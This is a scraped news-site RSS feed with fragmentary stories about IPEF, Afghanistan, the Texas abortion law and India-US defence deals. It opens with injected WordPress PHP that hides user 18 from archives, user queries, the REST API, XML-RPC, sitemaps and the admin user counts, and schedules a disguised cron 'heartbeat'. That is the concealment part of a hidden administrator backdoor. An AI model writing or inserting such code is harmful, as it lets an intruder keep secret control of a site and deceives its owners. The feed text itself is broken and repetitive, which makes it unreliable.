add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Ahead to the Quad Summit, the US announces an unconventional trade agreement appeared first on The Edge Media.
]]>
The IPEF was launched in Tokyo on Monday in the presence of Japanese Prime Minister Fumio Kishida. The launch was also attended by Prime Minister Narendra Modi as India is among 12 initial partners of the IPEF.
The other nations are Australia, Brunei, Indonesia, Japan, South Korea, Malaysia, New Zealand, The Philippines, Singapore, Thailand, and Vietnam. Together, these 12 countries represent 40% of the world GDP. Foreign Secretary Vinay Mohan Kwatra had said in a briefing last week that India’s participation was under discussion.
The post Ahead to the Quad Summit, the US announces an unconventional trade agreement appeared first on The Edge Media.
]]>The post India’s Response “Somewhat Shaky”, Biden In Terms of Russia-Invasion appeared first on The Edge Media.
]]>The US also asked India to consider oil supplies from Moscow after Washington took a major measure prohibiting crude oil shipments from the Kremlin.
The post India’s Response “Somewhat Shaky”, Biden In Terms of Russia-Invasion appeared first on The Edge Media.
]]>The post Ukraine in Direct Talks With Putin, Demands ‘Immediate Ceasefire’ appeared first on The Edge Media.
]]>Likewise, a Chinese foreign ministry spokeswoman has dismissed claims by US authorities that Russia requested military weaponry from Beijing for its operation in Ukraine as “disinformation.”
The post Ukraine in Direct Talks With Putin, Demands ‘Immediate Ceasefire’ appeared first on The Edge Media.
]]>The post Biden and Xi Jinping are planned a ‘virtual bilateral’ encounter before the end of the year, according to the White House appeared first on The Edge Media.
]]>
A senior US source said Wednesday that President Joe Biden and his Chinese counterpart Xi Jinping aim to meet via video link before the end of the year. The “virtual bilateral” has an “agreement in principle,” according to the official, who spoke on the condition of anonymity.
According to the official, Xi will not attend the upcoming G20 summit in Rome, which would have been a natural location for Biden to schedule a bilateral meeting.
The post Biden and Xi Jinping are planned a ‘virtual bilateral’ encounter before the end of the year, according to the White House appeared first on The Edge Media.
]]>The post After a small measles outbreak in Afghanistan, the US has halted all evacuation planes appeared first on The Edge Media.
]]>All countries should interact with the Taliban, according to UN Secretary-General Antonio Guterres, to send the message that the Afghan people should live in peace under an inclusive government that respects basic human rights. Guterres emphasized that the country should no longer be a haven for terrorists.
The post After a small measles outbreak in Afghanistan, the US has halted all evacuation planes appeared first on The Edge Media.
]]>The post Spain to tweak its travel entry rules from next week appeared first on The Edge Media.
]]>The European Council’s decision earlier this week to remove the US from a safe list of countries for non-essential travel also came amid unanswered calls from European officials for “reciprocity” in travel rules.
Despite the EU’s move to open its borders to US citizens in June, the US didn’t allow EU tourists in.
Spain, a major tourism destination, is among a handful of EU countries that has announced steps to adjust its entry rules to the Council’s recommendation.
The country published Friday the new guidelines on its official gazette, also removing Israel, Kosovo, Lebanon, Montenegro and North Macedonia from the safe list.
What the rules say?
Under the rules, US tourists will no longer be admitted from Monday, unless they can show proof of being fully vaccinated at least 14 days before their trip. Unvaccinated children under 12 travelling with vaccinated adults are also allowed in the country.
The post Spain to tweak its travel entry rules from next week appeared first on The Edge Media.
]]>The post India signs PA with the United States for air-launched unmanned aerial vehicles appeared first on The Edge Media.
]]>According to an official release, the agreement was signed on July 30 earlier this year between the Ministry of Defence and the US Department of Defence under the joint working group air systems in the defence technology and trade initiative (DTTI).
The PA for ALUAV falls under the research, development, testing and evaluation (RDT&E) memorandum of agreement between the Ministry of Defence and the US Department of Defence, which was first signed in January 2006 and renewed in January 2015.
The agreement is a significant step towards deepening defence technology collaboration between the two nations through the co-development of defence equipment, the ministry said.
The main aim of DTTI is to bring sustained leadership focus to promote collaborative technology exchange and create opportunities for co-production and co-development of future technologies for Indian and US military forces.
Under DTTI, Joint Working Groups on land, naval, air, and aircraft carrier technologies have been established for focus on mutually agreed projects in respective domains. The PA for co-development of ALUAV has been overseen by the Joint Working Group on Air Systems and is a major accomplishment for DTTI,” it said.
The PA outlines the collaboration between Air Force Research Laboratory, Indian Air Force, and Defence Research and Development Organisation towards design, development, demonstration, testing and evaluation of systems to co-develop an ALUAV Prototype.
The Aeronautical Development Establishment (ADE) at DRDO and the Aerospace Systems Directorate at the Air Force Research Laboratory (AFRL), along with the Indian and US Air Forces, are the principal organisations for the execution of PA.
The agreement was signed by the co-chairs of the Joint Working Group Air Systems under DTTI, Assistant Chief of Air Staff for Plans Air Vice Marshal Narmdeshwar Tiwari from the Indian Air Force and Director, Air Force Security Assistance and Cooperation Directorate Brigadier General Brian R Bruckbauer from the US Air Force.
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)
The post India signs PA with the United States for air-launched unmanned aerial vehicles appeared first on The Edge Media.
]]>The post Texas “Heartbeat bill” takes effect appeared first on The Edge Media.
]]>Governor Greg Abbott, a Republican, signed the bill in May, making Texas one of a dozen states banning abortion once a fetal heartbeat can be detected — which is usually in the sixth week of pregnancy.
The Supreme Court may still grant the request from rights groups and abortion providers to halt the so-called “heartbeat bill”, which makes Texas one of the hardest states in the United States to get an abortion.
The American Civil Liberties Union, Planned Parenthood, the Center for Reproductive Rights and other groups filed an emergency request with the Supreme Court on Monday asking it to stop the law from taking effect.
“Approximately 85 to 90 percent of people who obtain an abortion in Texas are at least six weeks into pregnancy, meaning this law would prohibit nearly all abortions in the state,” ACLU said.
The other states that have sought to enact restrictions on abortion in the early stages of pregnancy have been barred from doing so by the landmark 1973 Supreme Court ruling Roe v. Wade.
That decision allowed abortion so long as the fetus is not viable, which is usually the case until the 22nd to 24th weeks of pregnancy.
Texas’s law is different because it allows the public — rather than state officials like prosecutors or health departments — to enforce the ban.
The Texas law “creates a bounty hunting scheme that encourages the general publicto bring costly and harassing lawsuits against anyone who they believe has violated the ban,” the ACLU said.
“Anyone who successfully sues a health center worker, an abortion provider, or any person who helps someone access an abortion after six weeks will be rewarded with at least $10,000, to be paid by the person sued,” it said.
“Anti-abortion groups in Texas have already set up online forms enlisting people to sue anyone they believe is violating the law and encouraging people to submit ‘anonymous tips’ on doctors, clinics, and others who violate the law,” it said.
Nancy Northup, president of the Center for Reproductive Rights, said the Texas bill would force women to “travel out of state -in the middle of a pandemic – to receive constitutionally guaranteed healthcare.”
“Many will not be able to afford to,” Northup said. “It’s cruel, unconscionable, and unlawful.”
Alexis McGill Johnson, president of Planned Parenthood, said the Supreme Court is being asked “to uphold 50 years of precedent and ensure Texans won’t be denied their constitutional right to abortion.”
The Supreme Court is due to hear a case this fall involving a Mississippi law that prohibits abortions after the 15th week of pregnancy except in cases of medical emergency or a severe fetal abnormality.
It will be the first abortion case considered by the nation’s high court since former president Donald Trump cemented a conservative majority on the nine-member panel.
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)
The post Texas “Heartbeat bill” takes effect appeared first on The Edge Media.
]]>The post Amrullah Saleh on Why the US Attempt to ‘Buy’ Cooperation Failed: The Entire Pakistan is at the Taliban’s Service appeared first on The Edge Media.
]]>Saleh accused Pakistan of being at the Taliban’s “service.” “It’s apparent that the Taliban were never under siege; they relied on Pakistan for support. He stated, “Not sanctuaries, but the entire country of Pakistan was at the service of the Taliban.”
This isn’t the first time the Afghan president has made a personal assault on Pakistan. Saleh previously stated in a tweet that Afghanistan is “too vast for Pakistan to swallow and too big for Talibs to manage.” “Don’t include a chapter on humiliation and yielding to terror groups in your histories,” he wrote.
The post Amrullah Saleh on Why the US Attempt to ‘Buy’ Cooperation Failed: The Entire Pakistan is at the Taliban’s Service appeared first on The Edge Media.
]]>The post CIA Chief Held Secret Meeting Yesterday With Taliban In Kabul: Report appeared first on The Edge Media.
]]>The Monday meeting, which if confirmed will have been the highest-level encounter between the Islamist group and the Biden administration since the militants’ return to power, came as efforts to evacuate thousands of people from Taliban-controlled Afghanistan became increasingly urgent.
Burns is one of US President Joe Biden’s most experienced diplomats; while Baradar, who headed the Taliban’s political office in Qatar, is one of the top leaders in the regime that has taken power in Kabul.
A spokesperson for the CIA would not confirm the meeting to AFP, saying that the agency “never discusses the director’s travels.”
The post CIA Chief Held Secret Meeting Yesterday With Taliban In Kabul: Report appeared first on The Edge Media.
]]>